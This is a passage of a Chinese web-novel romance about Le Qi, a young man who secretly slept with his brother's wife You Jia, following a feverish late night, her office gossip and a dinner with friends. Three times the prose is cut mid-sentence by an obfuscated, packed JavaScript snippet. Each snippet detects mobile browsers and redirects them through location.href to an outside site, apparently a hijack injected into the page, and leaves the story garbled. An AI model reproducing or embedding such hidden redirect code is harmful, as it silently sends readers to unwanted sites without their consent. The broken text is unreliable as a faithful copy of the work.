话音将落,他又缓缓补上一句:“我还不了解你吗?”
乐绮的声音回响在房间里,褚铎逐字逐句在脑中过滤,紧绷的心脏才终于缓缓开始跳动。
但转瞬,他又像被触及了逆鳞,脊背绷直,森冷目光睥睨。
“你没有资格说这样的话。你只是暂住在这间房子的外人,和我们的生活保持距离,是你唯一该做的事情。”
“距离?我也想保持啊……”
乐绮站起身,与褚铎平视着,手指抵在桌沿。
“但每一个我能做什么的机会,都是你自己留给我的。”
褚铎有一瞬间,有种哑口无言的无力感。
他太习惯身居高位,从不会有人违逆他,从不会有哪个时刻让他陷入窘迫。
只有乐绮,总是像一颗钉子一样扎在他眼睛里,逼迫他惊慌,逼迫他痛楚。
他和尤伽确实是在装恩爱,甚至于现在这段夫妻关系,也是装的。
论起资格,其实,他没比乐绮强到哪去。
但褚铎永远不会承认会令他处于下风的事实。
“乐绮,如果你真的喜欢她,就不要给她造成困扰,一旦你和她牵扯,传出去会损害她的名声,你应该清楚。”
“放心,我比你更关心她。”
乐绮捡起地上的筷子,然后双手插兜,松垮着两肩,慢步踱到褚铎面前。
与他擦身而过时,乐绮停了一下,似有不屑地轻笑了声,换回不正经的语气,重复着方才的话:
“我年纪小又不懂事,你就让让我呗,哥。”
-
回房间后,乐绮和朋友开了个视频,关于刚刚收尾的项目又聊了些细枝末节的事,顺便把简历和作品集整理出来。
聊到后半程,他觉得后背有些发凉,头也逐渐发昏,以为是晚饭吃得太少导致的,所以寥寥几句结束通话,准备早些休息。
洗完澡出来,乐绮一个脚步不稳,险些栽在墙边,才发现身体不太对劲。
拿出温度计量了量,果然,已经开始低烧了。
他翻出两袋药,冲服之后,调小空调风,缩回床上睡觉。药效来得很快,昏昏沉沉,他几乎没有意识到入睡的过程,便陷入了茫茫黑夜中。
眼前忽然出现一个模糊身影。
虚虚实实,影影绰绰,晃动着向他走来。
他又做了那个梦。
红裙摇曳,长发散落在冷白锁骨前,烟熏玫瑰香气浓郁而热烈,封住他的口鼻,捂住他的耳朵,蒙住他的双眼。
款步渐近,她几乎完全与他贴紧,两臂环住他身体,点点星火燎燃了浅薄衣衫,他被火团炙烤得皮肤滚烫,四肢百骸浸泡在冒着红色气泡的岩浆中。
他厌惧,痛苦,却在透过半透白纱觑觎到眼前人的瞬间,心悸到几近晕眩。
倏地,她将他推开,尖细高跟踩在他胸膛,将他狠狠按入火焰中。乐绮的鼻腔被岩浆充斥,灭顶的窒息感像绳索,在他身上缠出殷红伤痕。
他想挣扎,却觉得全身无力,血管中的血液仿佛全部受到了某种召唤,速度极快地流向一处。
直至被撑裂到要爆炸似的痛感袭来,老旧电视的雪花噪点涌入,病毒一般侵袭了整个世界,眼前火红被泼墨的浓重花白吞噬。
他要被撕裂了。
下一刻猝然惊醒。
乐绮眼眶欲裂,一动不动地盯死在天花板上看不见的一个点。
他紧抿着双唇,强烈的心跳砸穿了他的身体,无法衔接的呼吸自鼻腔带动胸膛,猛烈起伏,每一下都牵扯着浑身肌肉撕痛。
许久,许久,滚烫焰火才褪下去些,乐绮的手指几乎要将床单碾碎,缓缓松劲时,酸软痛楚顷刻窜入。
感冒带来的虚弱,让他比以往任何一次都难以缓和后劲。
他不是第一次做这样的梦,甚至于,可以称得上是经常。
尤其是,在与尤伽重逢之前。
波士顿那一夜后,他看到不告而别的尤伽留下的现金和纸条,瞬间就明白过来她把自己当成了什么。
剧烈的羞耻感充斥着他,他几乎作呕般将那些东西扔进了垃圾桶,厌恶、愤怒、不甘,汹涌情绪裹挟,他从没有那样痛恨过自己这副与尤伽缠绵过的身体。
可离开前,他还是把它们捡了回来。
他说服自己,这个仇总要报。
那1372美元现金,至今仍夹在他几乎从来不用的钱包里。那张写了姜春和电话的纸条,被他扔掉又捡回无数次后,早已褶皱得不成样子。
事情失控在两个月后的一个夜。
乐绮突然做了一个梦。
梦里的一切都是虚幻的,陌生的,唯独那抹红裙,那张他绝不会忘记的脸,那些轻柔又令人战栗的触摸,熟悉得刺痛神经。
在他意识到发生了什么之后,床单已经被他扔掉了。
乐绮第一次觉得自己是那么恶心。
他从没有被人那样侮辱过,可他对侮辱自己的人,非但没有深恶痛绝,反而做出这样的梦。在梦里,他被侮辱出了快感,他贪婪地陷在梦里不愿醒来,甚至,他迫切地希望一切都是真的。
他竟然希望尤伽能真实地、再次踩碎他的自尊。
两极的情绪在乐绮身体里疯狂碰撞,最终,将他搅得理智全失。
他给姜春和打去了电话,在面对对方询问时,沉默良久,只道出一句,要找她的老板。
“您找她有什么事吗?”
这是姜春和的第二个问题。
乐绮答不出来。
他应该怎么说,说你的老板睡了我,我要找她负责任?
他不是那么卑贱的人。
还是说,他想见尤伽?
最后,乐绮也不知道自己打这个电话的初衷是什么了,只能小丑一般仓皇而逃,挂断了电话。
两年来,有关尤伽的梦越来越频繁。
他习惯了与它们共处。褚铎说得对,他就是一个龌龊的人,在极痛中获得极致快感,是对他的惩罚,也是尤伽赏赐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316692|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的奖励。
在尤伽之前,乐绮的性经历为零,连对异性动一点好感的心思都没有过。
所以他想,尤伽应该算是他的性启蒙老师,如此,在梦里缠着她……
也不算奇怪。
-
胡思乱想着,再回过神来时,乐绮发现自己不知何时已经站在了尤伽的卧室门口。
病痛自下而上缓慢又扎实地侵蚀着他,他想自己可能是耗尽了全部力气才走来这里,饥饿和释放后的虚弱无疑是雪上加霜,接近一米九的个子,此刻只能无力地弓身靠在栏杆上。
很快,站着也变成了遥不可及的奢望,他后背紧贴冰凉,前身却被体温烧得快要冒烟,支撑不住地渐渐滑落在地。
现在是几点了?
十二点?一点?
他为什么要半夜三更,像个怨鬼一样坐在尤伽的卧室门口?
乐绮讥讽嘲笑自己,却没有挪动身体的意思。
眼前的门忽然开了。
尤伽熬夜看了些文件,听见门口有动静时还以为听错了,推开门一看,乐绮正一动不动坐在地上。
她吓了一跳,定睛才看清,他曲着一条腿,搭着胳膊,半死不活的样子,连她出来了都不抬头。
尤伽看出他状态不对,已经到嘴边的指责被她按下去,向前走了几步,试探问:“你怎么在这?”
乐绮的脑袋晃了晃,像是想抬起来,但最终失败了,垂得更低。
不说话,只摇头。
尤伽一靠近他就感觉有股热浪贴上皮肤,心下微惊,赶忙将手背覆上他额头试温度,另一只手则捧住他脸侧,抬起他的头看他的眼睛。
这一摸,才是真的惊到了尤伽。
他烫得能直接烧出一池温泉水了,眼里全是红血丝,眼眶都烧得通红,神色涣散,感觉下一秒就要晕过去。
“怎么这么烫?”尤伽下意识蹲下身子,双手环在他脸颊,“吃药了吗?怎么不在房间休息,跑来三楼干嘛。”
乐绮还是一言不发,瞳仁似乎在尝试聚焦,好半天,才对上尤伽的视线。
尤伽眼见他要倒,连忙想扶他起来,但还是低估了自己和乐绮的力量差距,试了半天都没成功。
“你等着,我去叫你哥。”
尤伽甩下一句便要起身,还没完全站起来,就被一个大力拽了回去。
她猝不及防,险些栽在乐绮身上。
“乐绮!”
乐绮听到某些关键词,像被按下开关,精神开始回归。他牵着尤伽的手,又放回自己脸边。
尤伽半跪着,稳住身子,嗔怪又无语地看他。
“放开我,回去吃药,不行就叫医生来。”
乐绮虚虚勾起唇角。
他处在尤伽的视线下方,从她的角度看,男人在慢慢、慢慢地掀起眼皮,眼下连带着颊中被烧出一片粉红,大概是烧得痛,瞳仁水汪汪的,娇柔而楚楚可怜。
他偏了偏头,整个侧脸严丝合缝地放在尤伽手心中,自己的手叠在外侧,贪恋着她的冰凉体温。
嘶哑嗓音落入夜色。
“姐姐。”
“我饿了。”
16. 错误
走廊尽头窗户半开,夜风湿热。
尤伽一阵酥麻,胳膊上浮起一层细密。
记忆又强行塞进她脑子里一点,那晚荒唐夜,乐绮也是这样,在她耳边不知唤了多少声“姐姐”。
这个称呼太危险了。
“叫什么呢?没大没小。”
尤伽瞪他,推开他手,站起身。
乐绮被推得歪斜,坐在地上缓慢抱住了双腿,抬起湿眼,笑得可怜。
“就是知道大小,才这么叫。你比我大,哪里叫错了吗?”
尤伽想反驳,突然反应过来,几乎脱口的话咽了回去。
不能被他牵着鼻子走。
“不是饿了吗,还能说这么多话?厨房里有东西,自己做吧。”
“……我已经病成这样了,你还让我自己做饭啊。”
“那怎么办?”尤伽鼻子哼气,“我又不会。”
说完,收回脖子,喃喃补了句:“你哥也不会。”
“就没有什么能直接吃的东西吗?”
“没有。”
因为褚铎的极致养生观念,家里没有任何速食产品,当天吃不了的饭菜也会立刻处理掉,绝对不会过夜。
尤伽有时候半夜饿了,都得吃两个冰激凌填肚子。
乐绮头疼得厉害,实在没力气和尤伽开玩笑了。
他右手撑地,试着站起来,腿上过电一样阵阵酸痛,费了好大力气,终于站稳在栏杆边。
“姐姐,你帮帮我吧。”他看向尤伽的时候,还是努力扯出一个笑,“我教你,你帮我下个面就好。”
尤伽将信将疑地指了指自己:“你确定?”
“嗯。走吧,我真的好饿。”
乐绮说话时有气无力,虚弱得有了些小孩样。
尤伽犹疑重重,但是看他撑着栏杆又捂着胃的样子,最终还是叹了口气,扶住他胳膊。
“你不怕食物中毒就行。”
路过褚铎房间时,尤伽忽然觉得身后有股冷飕飕的风刺过。
她打了个寒颤,下意识放轻脚步,回头瞥了一眼。
房门依旧紧闭。
她没在意,与乐绮一路下到厨房。
“先拿一点青菜,什么都行。”
乐绮靠在流理台上,离案板不远,口述指挥着尤伽。
尤伽打开冰箱门看了看,皱着眉挑出两根油菜。
“这个行吗?”
“行。有西红柿吗?”
“唔……有。”
“一个就行。两颗鸡蛋。”
备好东西,尤伽按乐绮叙述的步骤,先洗了菜,然后切了西红柿。
她第一次拿刀,手指握在刀柄的最尾部,离刀刃远远的。
乐绮忍不住笑:“放心,慢点切,切不到手。你这样拿反而不稳,握这里。”
他轻握刀,扶着尤伽手背,帮她调整了位置。
“西红柿简单切切就好。”
尤伽不自觉地把嘴唇抿起来一半,脸上比手上还用力。几刀下去,西红柿汤汁铺满案板,歪七扭八的碎块大而不均,七零八落躺着。
“再切一点葱花,拿一个碗,这些调料,盐、生抽、醋、胡椒粉、香油,你看着放。”
乐绮的语气里满满都是信任,尤伽被他几句轻声细语哄得不由自信起来。
调好料汁,又去开火。
“鸡蛋要擦干,煎一下。”
尤伽对着已经热了的锅犹豫了会儿,决定快刀斩乱麻,飞速将手里的鸡蛋磕在锅沿。
意料之内的迸溅瞬间扰乱她的神,不等尤伽躲避油点,一双滚烫的手就拽住她胳膊,将她扯了过去。
乐绮站在她身前,因为用了力气,止不住咳嗽起来。
油锅噼啪作响。
“你别在这了,去餐厅坐着。”尤伽伸手转过乐绮,看到他额头渗出虚汗,皱眉,“步骤我都记住了。”
她指着台子上的东西,将乐绮教她的复述一遍,临了柔声问:“对不对?”
见乐绮迟疑地点头,她没有给他继续坚持的机会,往门外推他:“你在这添乱,鸡蛋都要糊了。快走。”
乐绮定了定,站稳身。
“好,那麻烦你了。”
尤伽随口应着,赶忙去翻蛋。
乐绮虽然离开了厨房,但还是不放心,拖着椅子坐到了能看见尤伽的地方。
她手忙脚乱,做每一个步骤都要双手完成,思考一会儿才能接上下一步,但也真像她说的,一步都没落下。
乐绮算着时间,鸡蛋大概是焦了,面也有些软了。
可空气里依旧飘起面汤的香气。也许是他太饿了,他甚至能想象到这碗面入口时唇腔内壁被烫到的痛感,夹杂着香油醇香,裹挟他的味蕾。
平淡而幸福的味道。
眼前的尤伽慌乱而毛躁,可在乐绮眼中,依旧很有魅力。
她穿了件香槟色睡衣,宽松的款式隐去线条,只露出两条白皙的手臂,还有一对漂亮的美人骨。
她不是纤细到让人担忧的身材,恰到好处的肉感给予她坚实有力的身体,手臂用力时绷出常年健身换来的肌肉纹路,隐没的力量感呼之欲出。
她总是能将一切掌控得毫不冗余,不会太胖也不会太瘦,不会太羸弱,也不会练到过头。
一如她的事业。
亦如她的人生。
乐绮想,自己在她心里,会是什么定位?
她会如何掌控与自己的关系?
“好了!”尤伽关掉火,语气难抑骄傲,“也不是很难。”
她将堵在门口的乐绮撵走,然后端出两碗热气腾腾的面。
喷香扑鼻,在刚过凌晨一点的时间,一抹红绿鲜艳诱人。
“尝尝。”
乐绮挑起几根面,入口,果然与想象中相差无几。
“很好吃。你很有天赋。”
“真的吗?”
尤伽也尝了一口,毕竟是自己第一次做的,心中滤镜颇厚,再加上确实饿了,她也觉得比想象中好吃。
乐绮刚要说下一句,就被咳嗽堵了回去,咳得厉害时,前胸后背都被扯得生疼,眉毛几乎拧在一起,眼眶又湿润起来。
尤伽见状,起身给他倒了杯温水。
“吃饭的时候不是还好好的吗?”
放到他手边,见他扶着桌边难受地埋下头,尤伽不免疑惑出声。
乐绮说了声“谢谢”,喝水润了润嗓,才淡淡回答。
“被人气的。”
尤伽咋舌。
她自然知道这个“人”指的是谁。
又吃了几口面,尤伽才口齿不清地接上话:“你别总跟你哥吵架,他最近忙,公司也不太顺心。”
乐绮握着筷没动,看她。
“心疼了?”
尤伽听见这几个字,无语极了,低下头翻了个白眼,懒得再搭理他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316693|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,专心吃面。
然而这种沉默在乐绮看来无疑是一种默认。
他翻出压在碗底的鸡蛋,从中间戳烂,把煎焦的黑色部分剔掉。
语气渐冷。
“我不会让你为难,至少在你离婚之前,我不会越界。但是,我与他之间,我不能保证。”
尤伽两指一抖,挂在筷子上的面滑了下去。
她定神,状似轻松回问:
“你怎么知道我们会离婚?”
“你喜欢他吗?”
乐绮答非所问,突兀的问题僵在空气中。
尤伽的食指往回用力扣紧,指节隐隐作痛。
“喜欢啊。”她荡起轻松的笑,“不喜欢我干嘛和他结婚。”
乐绮紧盯着她,烧出一圈红晕的眼睛像是蒙尘的血月。
“你喜欢他什么?”
“喜欢他……长得帅。”
“还有呢?”
“有钱。”
“这样的男人你认识得少吗?”
“所以啊,这样的男人一抓一大把,可我只喜欢他。为什么?大概因为他是褚铎吧。”
尤伽的谎话永远说得真假掺半,眼睛一眨不眨地看着对方,不见丁点畏缩。连徐苓都说,就算是最亲近的人,也看不出她撒谎。
乐绮当然信了十足十。
他嘲意尽显:“可他不喜欢你。”
“哦。”
乐绮几乎要把尤伽的脸看穿一个洞。
久久,久久,久到面渐渐坨成一块。
他终于败下阵来:“你就这么喜欢他吗?”
“和你又有什么关系呢?”尤伽吃掉最后一根面,碗里除了面汤,只剩下一个完整的蛋清,“乐绮,如果你觉得因为我们睡过,所以我们就有了抛开叔嫂身份之外的牵扯,那我告诉你,你想错了。”
她站起身,拾起碗筷,俯视着仍旧目视前方的人。
“那只是一次对我们毫无影响的错误,即使中间有误会,但本质都是你情我愿的享乐。你说我欠你的,不,乐绮,我什么都不欠你。”
毫无影响?
你情我愿的享乐?
尤伽的字字句句如剔骨刀削过,乐绮痛到失声,浑身麻而僵化,唯有心跳越发剧烈,像密集的鼓点催化着他所有情绪。
日日夜夜,那些令乐绮辗转难眠的梦,那些他越想忘掉就记得越深的触感,那些他无比厌恶又无法自控的瞬间。
还有,回国后偶然看到照片中褚铎身侧嫣然浅笑的她时,感受到的巨大的背叛感。
一切的一切,如夜幕下的浪潮,汹涌,危险,瞬间翻没他所有理智。
她说,他们于她,毫无影响。
只有他愚蠢地、顽固地、卑劣不堪地,渴求她的垂怜。
幻想她的拯救。
乐绮放下筷子,忽然站起身,撑着头晕目眩,几乎是两眼发白地绕过桌子,拦住正走出厨房的尤伽。
他一把捏住她的手腕,几欲开口,愤怒、积怨、恶语相向,他急切地希望自己至少能说出点什么。
可在他听到尤伽被他攥疼的轻声痛呼后。
在他渐渐恢复视线,入眼便是尤伽蹙着双眉、幽怨地看他后。
乐绮仍旧,说不出任何。
他仍旧一败涂地。
手劲骤松,乐绮肩膀轻撞在墙上,垂头,哑声卑微。
“怎么毫无影响?我已经……忘不掉你了。”
17. 回溯
尤伽扫一眼微微泛红的手腕,揉了揉,目光平静抬起,落在乐绮身侧虚空。
“那是你的事情,与我无关。”
尾音落下,她绕过一动不动的乐绮,穿过餐厅向外走。
乐绮被留在原地,站了不知多久,直到无法支撑,身子滑在地上。
视线逐渐模糊。
-
第二天一早,尤伽在上班前看到了乐绮的消息。
乐绮:【这两天我可能没办法面试,简历和作品集直接发你邮箱了,里面有我之前录过的一个介绍视频,如果病好之后赶得上的话,我还是想争取一下。】
尤伽看完这句话,直接锁屏把手机扔进包里,没有跳转邮箱。
结果又是一震。
她再次拿出手机,解锁。
乐绮:【昨天晚上有些不清醒,抱歉说了让你为难的话。】
尤伽这次视线多停留了两秒,盯着左侧的黑色剪影头像,咬了下唇。
点开文字框输入。
尤伽:【好好休息。】
切到通讯录,往下滑,拨出了一个电话。
简单交代几句后,尤伽挂断,出门上班。
褚铎昨天没有睡好,今天难得起晚了些。吃早餐的时候,他问了佣人一句,得知尤伽已经上班去了。
“乐绮呢?”
“乐小少爷还没起。”
他“嗯”了声,拿过一边腕表,听到厨师在厨房“咦”了一声。
另一个做事的阿姨接话:“怎么了?”
“冰箱里好像少点东西。”
“哦,昨天晚上可能褚总和夫人煮面吃了吧,我早上来看到水池里有两个碗,顺手就洗了,忘跟你说了。”
“这样啊,我就说嘛,我这记性杠杠的。”
褚铎不小心比平时多扣了一段,腕表瞬间勒紧手腕,冰凉表扣夹到了皮肤。
他眸色深不见底,冷静地解开,重新戴好。
从玄关处拿了车钥匙,正要推门时,门铃忽然响了。
褚铎看了眼门侧的智能屏,剑眉微动。
门开后,齐珩显然没有想到会是褚铎给他开门,准备好的寒暄顿在喉咙,气氛一时僵住。
“齐医生,有事吗?”
“啊,褚总,夫人刚刚给我打电话,说乐小少爷病了,让我来看看。”
齐珩是褚铎的家庭医生,尤伽住进褚家两年,一次都没有找过他,接到她电话的时候,齐珩比谁都稀奇,连忙放下手里的事,提着东西就赶来了。
褚铎听过他解释,神色依旧没有任何变化,目光近乎无情,齐珩对上,瞬间觉得九月的秋老虎都打了蔫。
他站在门口,没有挪步,齐珩进也进不去,退又没法退,尴尬得只能攥紧手里提箱。
“褚总?”
僵持不下,他实在忍不住出声提醒了句。
“进来吧。”
褚铎往前迈步,把通道让开。
齐珩赶忙与他交换位置,还没等说什么,门就被重重关上,险些撞了他刚扭过去的头。
“……”
真是没有一分钱是好挣的。
-
忙到下午,尤伽才想起乐绮的邮件。
打开邮箱,没点开,直接转给姜春和,顺便发了条微信。
尤伽:【查收一下邮件,是制作人简历,你审核之后转给负责人,合适的话过段时间安排面试。】
发完之后尤伽又处理起其他邮件来,刚回复了两个,就被不打招呼的推门声打断。
随之而来的还有姜春和标准的嗲音:“尤总!这这这,这不是你小叔子吗?”
尤伽皱眉抬头,看到一脸花痴的人端着电脑往里走,眼睛锁在屏幕上,连路都不看。
“能不能敲门?”
“对不起对不起,我太着急了。”
姜春和把正播放视频的电脑放在尤伽面前。
她略略扫过,看到视频里的乐绮穿着简单清爽的学校文化衫,在做自我介绍。
他的语调听起来比平时要高一点点,更有少年气息,吐字清晰,笑容随和大方,敛去很多乖张不羁。
又回归了涉世未深的大学生模样。
尤伽按下暂停,抬头。
“有什么问题吗?”
“没问题,就是……他好厉害啊!”
“学校吗?圈子里伯克利毕业的也不少,何必大惊小怪。”
“不是不是,你有听过他的作品吗?作词作曲和演唱都是他一个人哎,比很多成熟制作人的作品都要好!”
说着,她就点开了一个音频。
尤伽还想说什么,但很快,没有前奏的音乐响起,乐绮清透澈净的嗓音不由分说入耳。
微张的唇定在空中。
她不算专业,但也能听出这首作品非常完整流畅,鼓点丝滑,中段部分加入爵士乐和声变化与电子合成器铺底,整体层次分明,风格独树一帜。
乐绮的声音更接近男中音,稳定而不沉闷,自然音区宽广,搭配这首小情歌的曲风,更显温暖。句尾自带胸腔嗡鸣,偶尔闪现少年的清亮声调,很是抓耳。
尤伽不得不承认,乐绮的确有些本事。
他在唱歌时仿佛换了个人,就像那晚她偶然窥到他工作时的模样,认真、专业,仅仅听过几句就能听得出他灌入其中的炽热。
……还真挺适合做于婧的生日曲的。
“怎么样,老板,是不是惊呆了?”
尤伽回神,眼神撇离屏幕,语气淡淡:“让负责人去听,他们说了算。”
“嘁,还不信我,”姜春和撅了撅嘴,“我敢说,他们要是知道这是你小叔子,准让你想方设法把人留下,可千万不能便宜了别家。”
尤伽不语,神思飘远了些。
姜春和见尤伽半天都不说话,伸出手在她眼前晃了晃,疑惑:“老板?”
尤伽捏了下小指,推开她电脑,重新握起自己的鼠标,状似随意地问:“你两年前有接到过一个波士顿的电话吗?”
“波士顿?”姜春和歪头看向天花板,仔细想着,半晌,“啊”了一声,“好像还真接到过,一个男的打来的,说要找你,我问他干什么他就挂了……等会儿,那个声音!”
尤伽不自觉掐紧手指,指甲嵌到掌心里,脊背绷紧。
面上却不显,视线停留在电脑一角。
“什么声音?”
“我就说怎么总觉得你小叔子的声音好耳熟,好像就是那个打电话的人,因为声音太好听了,所以我当时印象很深。”
尤伽重复点开一封邮件两次,又再次关掉,嘴上已经在赶客:“你听错了。一会儿的会是三点吗?先去准备一下会议室吧。”
姜春和脑子里还在想着电话的事,被尤伽下派了任务,机械地抱起电脑往外走,边走边嘀咕:“真的很像啊,波士顿……伯克利不就是在波士顿吗?老板……”
“快去。”
尤伽打断她的臆想,再次下达逐客令。
终于把人送走,尤伽呼吸顺畅了些。
还没容她思考什么,电话就响起来。
看了眼备注,她弯眉一笑,闭眼接起。
“小苓?”
“伽伽,晚上一起吃饭吗?”
“好啊,吃什么?”
“城南新开了一家意大利菜,去尝尝?”
“行,你把地址发我,我直接从公司去。”
“好,晚上见!”
挂断电话,尤伽看看时间,起身准备去开会。
结果门又被突然推开。
“老板,我想明白了!你能留我电话的人,要么是工作上的,要么是你睡过的,如果是工作联系不至于我问一句就挂了,所以——你睡了你小叔子?!靠啊,怪不得他知道我名字,这是什么超绝刺激的家庭伦理大戏……”
尤伽两眼一黑。
“你是想让全世界的人都知道吗?”
姜春和“嘿嘿”一笑,满脸不怀好意:“放心,外面没人。老板,我绝对不会给你传出去,我嘴包严的。”
以尤伽对姜春和的了解,倒是不担心她出去乱说话,但还是走过去,拿本子轻轻在她脑袋上一拍。
“你也就这种时候最聪明。”
-
见到徐苓的时候,她已经拿手机拍了九九八十一张自拍了。
“伽伽!这个位置光线太好了,快来拍照。”
餐厅位于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325832|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶层,有一片很大的天空花园,坐在大落地窗边的位置,正好能看到开得正艳的花丛,落日余晖慷慨倾泻,铺了满室粉橘暖光。
但尤伽今天有些头疼,实在没心情赏景。
她摆摆手,略显疲惫地坐在徐苓对面。
这家店还没有正式开业,老板是徐苓朋友,特意为她们开了门,偌大的餐厅里,只有她们两人。
“怎么这么累啊?最近很忙吗?”
“有点。”
尤伽喝了口花茶,随意点了几个菜,然后靠在窗户上放空。
“新生公司是这样啦,你已经做得很好了,我们公司下个季度还想找于婧代言呢,她现在也算是打开小花市场了。”
“那我先谢过徐老板了。”
徐苓见她一副没精打采的样子,放下了手机。
“不对劲啊,你不是工作越忙越起劲吗?怎么这么颓丧?是不是还有别的事?”
尤伽没说话,徐苓倒是自己想起来个事。
“哎,说起来,两个月之前你不就说要离婚了吗,我这都去国外考察一个月回来了,你怎么还没离?”
刚在公司应付完姜春和,尤伽实在不想再编说辞来应付徐苓。于是她躲开眼神,含糊道:“有些情况,不好说。”
“不好说?跟我还有什么不好说的?离婚协议都准备好了,你俩不会反悔了吧?还是说——已经离了?”
尤伽突然很佩服自己身边的人,一个两个都这么明察秋毫。
她撇撇嘴:“这可是你猜出来的,不是我说的啊。”
“真离了啊?那怎么还藏着掖着的,连个新闻都没见到。”
于是尤伽简单说明了情况,倒没有说褚铎公司最近不安生的事,只说他那边没时间应付爷爷旧部,所以暂且保密。
“啊?那得保密多久啊?你还在他家住着?”
“是啊,我也想赶紧结束……”
尤伽后仰在椅背上,脖子向后折,看着天花板,怅然。
“怪不得一点水花都没有,我还以为我断网了呢……哎,你看眼群聊,司镜发消息了。”
“她从马来西亚回来了?”
“嗯,说是刚落地,让我们下周把时间空出来,她要办生日宴。”
“是通知还是询问?”
徐苓眼神很肯定:“通知。”
“那没空也得有空。”尤伽轻笑,“在哪?”
“城北公馆。”
“这么大阵仗?”
“听她意思,比去年还要热闹。”
“也好,我是该放松一下了。离了婚还得装已婚人设,谁有我日子过得苦。”
“嘶,听着是挺无聊的。你那个不正常的小叔子呢,还在你们家住着吗?”
提起乐绮,尤伽沉默了一下。
转而突然想起什么。
“你不说我都忘了,给司镜挂个电话,我有事找她。”
徐苓不明所以地拨了过去。
那边很快接起。
“苓苓,这么想我呀?一秒钟都不能听不到我的声音……”
“成司镜,我问你,你知道两年前在波士顿那天晚上,你带我进错房间了吗?”
成司镜听到是尤伽的声音,还十分严肃地喊她的全名,愣了一下。
“伽伽?你俩在一起呢?”
“回答问题。”
“唔……后来那个姐姐确实打电话来问我怎么没去,我才知道她安排的人那天晚上一直在隔壁等,是我看错房号了。”
“那你怎么不跟我说?”
“哎呀,当时咱俩不是正在外面玩呢嘛,我就给忘了。怎么了?你那天睡了不该睡的人了?”
尤伽冷笑一声。
“何止。我睡的是乐绮。”
比成司镜先反应过来的是对面的徐苓。
她几乎是尖叫一声——
“啊?!”
就在两人的连环追问不停歇袭来时,尤伽的手机震动一声,她打开,一条更令她头疼的消息弹了出来。
褚铎:【下班了吗?我去接你。】
尤伽刚打出“不用”两个字,手机又震了一下。
褚铎:【我订了餐厅,一起吃晚饭吧。】
18. 歪念
尤伽简短回复了褚铎,说她正在和徐苓吃饭。
话题却没有如预料一般结束,紧接着,又进一条消息。
他问了她的位置,表示她们快结束的时候来接她去一场音乐会。
尤伽心中略有诧异,褚铎不是被拒绝仍会坚持的性格,转念一想,大概是有什么应酬必须要她出席。
非必要时,褚铎不会强求尤伽做什么,所以他需要尤伽时,她一般也不会多问。久而久之,两人之间已经形成了独特的默契。
尤伽想与徐苓说此事,结果发现她还在揪着乐绮的事不放,伙同电话那边就要杀过来的成司镜问个没完。
尤伽一个头两个大,干脆让褚铎早点来,趁早逃离这两个可怕的女人。
二十分钟之后,餐厅入口处又有了动静,尤伽回头看去,褚铎穿着白日工作时的深灰色衬衫,外套对折叠好搭在手臂上,徐徐向两人走来。
面色依旧不见丁点情绪,冷淡得像个假人。
徐苓看见他之后,眼神忍不住往他头上瞥,表情更加古怪。
“徐小姐,好久不见。”
他站在尤伽身侧,微微颔首向徐苓打招呼。
徐苓赶忙起身,想回句客气话,但上下嘴唇打了架,愣是一时没想出来该怎么称呼他。
直到尤伽瞪她,她才回神。
“褚总,来接伽伽?”
“是,她很喜欢的一个乐团今晚有一场演出,徐小姐要不要一起?”
“不了不了,你们夫妻二人世界,我就不当电灯泡了。”徐苓使劲朝尤伽使着眼色,全被尤伽的白眼挡了回去,“伽伽,你去吧,我还要跟老板打个招呼。”
尤伽轻叹一声,起身。
“那我先走了,你路上注意安全。”
“好。”
半面玻璃的观光梯内,尤伽拎着外搭休闲西装,眼皮半阖,斜靠在扶手上。
“开你车吗?”
“嗯,让林奇把你的开回去。”
尤伽不语,算是默认。
落座副驾,尤伽将包和外套放在后座上,系好安全带,调整座椅微微后仰,闭上了眼。她这几天莫名有些烦躁,工作忙得脚不沾地,刚才又被徐苓提着耳朵讲乐绮那点事,现在实在头疼得很。
“我想睡一会儿,到了你叫我吧。”
褚铎从车内储物格拿了安神的香薰片出来,换掉了原本的檀香香薰。
薰衣草香气逐渐充盈车厢,音乐也换成了低缓的轻音乐,很快,尤伽便有了睡意。
但刚刚入眠,她便被轻轻拍醒。睁眼,发现已经到了。
尤伽此刻显然更想继续梦乡,清醒过来后,好一会儿都不想动。
褚铎耐心等她:“要喝水吗?”
尤伽接过拧好的瓶装水,润润嗓,才下定决心般淡声:“走吧。”
这个乐团最近在全球巡演,尤伽前段时间去江城出差时其实已经看过一场了,她不算是忠实乐迷,只是闲暇时喜欢听听音乐会解闷,谈不上专业。所以首城这场,她原本不打算看的。
